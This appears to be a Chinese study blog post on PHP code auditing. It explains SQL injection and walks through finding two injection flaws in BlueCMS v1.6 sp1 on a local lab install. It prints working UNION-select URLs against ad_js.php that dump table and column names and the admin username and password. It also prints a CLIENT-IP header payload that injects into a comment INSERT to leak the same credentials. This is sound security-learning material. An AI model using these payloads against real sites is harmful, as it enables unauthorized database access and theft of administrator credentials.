PHP代码审计学习_day3
0x01 PHP代码审计之SQL注入漏洞
SQL注入的危害
是发生在应用程序的数据库层上的安全漏洞。
在设计程序时,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误以为是正常的SQL指令而运行,从而使数据库受到攻击。
SQL注入的产生原因
程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。
SQL注入的条件
可控制用户数据的输入。
原程序要执行的代码,拼接了用户输入的数据。
0x02 bluecms_v1.6_sp1的代码审计
刚开始接触代码审计,就先拿bluecms练练手。
环境搭建
源码下载地址:https://www.a5xiazai.com/php/17968.html
下载好源码后,解压,将uploads文件夹中的文件放入WWW目录(我用的phpstudy),然后浏览器访问uploads目录下的install目录即可开始安装。
逼话不多说,上号。
ad_js.php下的ad id参数存在SQL注入
Seay源代码审计系统走一波。
进入ad_js.php看看
不知道empty和trim函数的,请自行百度。
从代码可以看出ad id直接GET传参,都不过滤,直接拼接。真的耿直!!!
然后就是下面的getone函数,刚开始我没见过这个,以为是php自定的什么函数,百度了半天,呃,我就是个憨批。。。
在seay中左键选中getone,右键定位函数,来到了mysql.class.php。
感觉还行,没啥限制。浏览器搞一波,看存不存在。
传参试试
发现了不同的地方,F12中的出现了注释,且页面上的报错Error不在了。
先order by判断一波字段数,发现是7。
再就是看回显了,payload:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,7
可显字段为7,database()得到数据库名:bluecms。
爆表名:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()
框中的是我们的目标。
注:这里的数据库名不要用引号加bluecms,因为会将引号转义,也就是多了个反斜杠(),绝逼报错,还是database()香
爆列名:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626c75655f61646d696e
同前面的理由,这里的表名blue_admin编码了一下,绕过过滤,美滋滋。
爆字段:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,group_concat(admin_name,0x3a,pwd)%20from%20blue_admin
完事,收工!!!说着玩的。。。
common.fun.php下的getip()存在sql注入
getenv()函数:获取系统的环境变量。
这里也就是获取CLIENT-IP的值或者前者不存在时,获取XFF的值,后面的依次。
对getip()进行全局搜索,在comment.php中搜索到了,但是直接访问comment.php是没有显示的,因为我的seay这里中文是乱码,所以我在源码中看了看。
猜测是评论的地方,所以需要我们去随便写一条新闻,再去评论。
创建新闻完成,开始评论。(注:这里下面评论的地方已经有了管理员的账户和密码了,这是我先前实验的时候弄得,后面我会说清楚得)
抓到了我要得数据包后,因为没有XFF之类,所以自己来添加。
payload:CLIENT-IP: 1','1'),('','6','0','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
这里得payload要结合前面得
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
来理解,payload前面的1','1')
是为了闭合前面的('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '
,payload后面的,('','6','0','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
是为了闭合后面的', '$is_check')
1.payload中的第一个6(前面的截图里面是1,我当时没发现,就不重新弄了,我改成6了)是和url中的id的数值6相等的,如果不同,你就别想在这篇新闻的评论里面看到用户名和密码。
2.数字6之后的0,随便你改,没啥用,占个位就好。
3.数字0之后的1,这里必须为1,不能为0,要不然还是看不到用户名和密码。
4.第二个6是代表不同的表情。。。也就是管着爆出用户名和密码的那条评论的表情。
后面的不想解释了,没啥意思。
然后就是说把CLIENT-IP改为XFF什么的,我看了一些博客,别个成功了,但是我没有成功,所以我。。。不弄了,嘿嘿!!!就差不多了,完毕。